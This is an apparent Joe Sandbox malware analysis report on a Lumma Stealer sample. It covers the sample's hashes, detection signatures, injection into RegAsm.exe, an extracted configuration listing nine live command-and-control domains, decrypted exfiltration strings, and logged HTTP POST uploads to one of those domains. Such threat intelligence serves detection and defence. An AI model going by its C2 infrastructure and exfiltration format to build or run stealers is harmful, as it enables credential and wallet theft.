Edit tour

Windows Analysis Report
qeUaxJCA3FO.exe

Overview

General Information

Sample name:	qeUaxJCA3FO.exe
Analysis ID:	1467846
MD5:	efc76b9581da08661c9c91c2a6e7d289
SHA1:	ef7674fe136d80308a44d99ac72b8be550604110
SHA256:	85356bb669ec17503e48ca457e99347f5386ba644fba9d638d4188a7b4970153
Tags:	exelumma
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected LummaC Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

qeUaxJCA3FO.exe (PID: 7528 cmdline: "C:\Users\user\Desktop\qeUaxJCA3FO.exe" MD5: EFC76B9581DA08661C9C91C2A6E7D289)

RegAsm.exe (PID: 7552 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 7560 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

WerFault.exe (PID: 7640 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7528 -s 304 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["benchillppwo.shop", "publicitttyps.shop", "answerrsdo.shop", "radiationnopp.shop", "affecthorsedpo.shop", "bargainnykwo.shop", "bannngwko.shop", "bouncedgowp.shop", "bitchsafettyudjwu.shop"], "Build id": "LPnhqo--@SEFYALUV"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://bitchsafettyudjwu.shop/api	Avira URL Cloud: Label: malware
Source: https://bitchsafettyudjwu.shop:443/api	Avira URL Cloud: Label: malware

Found malware configuration

Source: 2.2.RegAsm.exe.400000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["benchillppwo.shop", "publicitttyps.shop", "answerrsdo.shop", "radiationnopp.shop", "affecthorsedpo.shop", "bargainnykwo.shop", "bannngwko.shop", "bouncedgowp.shop", "bitchsafettyudjwu.shop"], "Build id": "LPnhqo--@SEFYALUV"}

Multi AV Scanner detection for submitted file

Source: qeUaxJCA3FO.exe

ReversingLabs: Detection: 57%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: qeUaxJCA3FO.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: benchillppwo.shop
Source: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: publicitttyps.shop
Source: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: answerrsdo.shop
Source: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: radiationnopp.shop
Source: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: affecthorsedpo.shop
Source: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: bargainnykwo.shop
Source: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: bannngwko.shop
Source: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: bouncedgowp.shop
Source: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: bitchsafettyudjwu.shop
Source: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: LPnhqo--@SEFYALUV

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00416448 CryptUnprotectData,

2_2_00416448

Source: qeUaxJCA3FO.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.27.50:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.50:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.50:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.50:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.50:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.50:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.50:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.50:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.50:443 -> 192.168.2.4:49749 version: TLS 1.2

Source: qeUaxJCA3FO.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe

Code function: 0_2_00FAF7AE FindFirstFileExW,FindNextFileW,FindClose,FindClose,

0_2_00FAF7AE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [eax], cl	2_2_00427964
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [eax+edi*8], 11081610h	2_2_004209C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [eax+ebx*8], 11081610h	2_2_004209C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then add ebx, 02h	2_2_004171F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+04h]	2_2_0040A2D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	2_2_00416448
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+08h]	2_2_00416448
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 11081610h	2_2_00416448
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	2_2_00418D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+08h]	2_2_004165AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 11081610h	2_2_004165AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [ebx+eax+02h], 0000h	2_2_0041AE00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+04h]	2_2_00415ED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi]	2_2_00439800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esi+04h]	2_2_00439800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+00000890h]	2_2_0041F836
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+00000890h]	2_2_0041F836
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, dword ptr [esi]	2_2_004390D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esi+04h]	2_2_004390D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+10h]	2_2_00413880
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00414166
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+54h]	2_2_0041393C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, eax	2_2_004039F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then dec eax	2_2_0041F9F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	2_2_0042118E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then inc ebx	2_2_004159A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, 2F18678Dh	2_2_00428A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi]	2_2_004282C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edx+edi*8], 00D23749h	2_2_0041D2D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 71907C71h	2_2_0041D2D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	2_2_004182FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_004182FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	2_2_00423AAF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	2_2_00403BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	2_2_004253B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esi+04h]	2_2_00439BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	2_2_00433462
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], cl	2_2_00425C76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+10h]	2_2_004154D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [eax], cl	2_2_004274ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	2_2_0040E4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	2_2_00435540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [eax], cl	2_2_00427510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ecx], dl	2_2_00426DC3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	2_2_004165C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then add ebx, 02h	2_2_00416DB9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	2_2_00402E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	2_2_00422E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_004306E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esi+04h]	2_2_004396B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	2_2_00417742
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [ecx], dx	2_2_0041FF50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [edi], cx	2_2_0041FF50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then add ecx, dword ptr [esp+edx*4+34h]	2_2_004087E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [ecx], 00000000h	2_2_00413FA2

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: benchillppwo.shop
Source: Malware configuration extractor	URLs: publicitttyps.shop
Source: Malware configuration extractor	URLs: answerrsdo.shop
Source: Malware configuration extractor	URLs: radiationnopp.shop
Source: Malware configuration extractor	URLs: affecthorsedpo.shop
Source: Malware configuration extractor	URLs: bargainnykwo.shop
Source: Malware configuration extractor	URLs: bannngwko.shop
Source: Malware configuration extractor	URLs: bouncedgowp.shop
Source: Malware configuration extractor	URLs: bitchsafettyudjwu.shop

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: bitchsafettyudjwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 51Host: bitchsafettyudjwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18167Host: bitchsafettyudjwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8788Host: bitchsafettyudjwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20441Host: bitchsafettyudjwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 5442Host: bitchsafettyudjwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1286Host: bitchsafettyudjwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 570028Host: bitchsafettyudjwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 86Host: bitchsafettyudjwu.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: bitchsafettyudjwu.shop
Source: global traffic	DNS traffic detected: DNS query: 206.23.85.13.in-addr.arpa

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: bitchsafettyudjwu.shop

Source: Amcache.hve.5.dr	String found in binary or memory: http://upx.sf.net
Source: RegAsm.exe, 00000002.00000002.1768091820.000000000146E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitchsafettyudjwu.shop/
Source: RegAsm.exe, 00000002.00000002.1768091820.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitchsafettyudjwu.shop/PR
Source: RegAsm.exe, 00000002.00000002.1768091820.0000000001419000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1768091820.000000000146E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitchsafettyudjwu.shop/api
Source: RegAsm.exe, 00000002.00000002.1768091820.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitchsafettyudjwu.shop/apie
Source: RegAsm.exe, 00000002.00000002.1768091820.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitchsafettyudjwu.shop/apix
Source: RegAsm.exe, 00000002.00000002.1768091820.000000000146E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitchsafettyudjwu.shop/on
Source: RegAsm.exe, 00000002.00000002.1768091820.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitchsafettyudjwu.shop/pa
Source: RegAsm.exe, 00000002.00000002.1768091820.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitchsafettyudjwu.shop:443/api

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 104.21.27.50:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.50:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.50:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.50:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.50:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.50:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.50:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.50:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.50:443 -> 192.168.2.4:49749 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0042E680 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_0042E680

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0042E680 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_0042E680

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0042E850 GetDC,GetSystemMetrics,KiUserCallbackDispatcher,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

2_2_0042E850

Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: 0_2_00F92880	0_2_00F92880
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: 0_2_00FAB11C	0_2_00FAB11C
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: 0_2_00FA125C	0_2_00FA125C
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: 0_2_00F93320	0_2_00F93320
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: 0_2_00FA15A4	0_2_00FA15A4
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: 0_2_00FA9D96	0_2_00FA9D96
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: 0_2_00FA5570	0_2_00FA5570
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: 0_2_00FB36B5	0_2_00FB36B5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004209C0	2_2_004209C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00417266	2_2_00417266
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00405350	2_2_00405350
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00416448	2_2_00416448
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00421510	2_2_00421510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040F850	2_2_0040F850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00439800	2_2_00439800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00428008	2_2_00428008
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004390D0	2_2_004390D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004248E9	2_2_004248E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401972	2_2_00401972
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00404930	2_2_00404930
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004329F0	2_2_004329F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041F9F6	2_2_0041F9F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00407180	2_2_00407180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043B1A0	2_2_0043B1A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00435B30	2_2_00435B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00406BB0	2_2_00406BB0
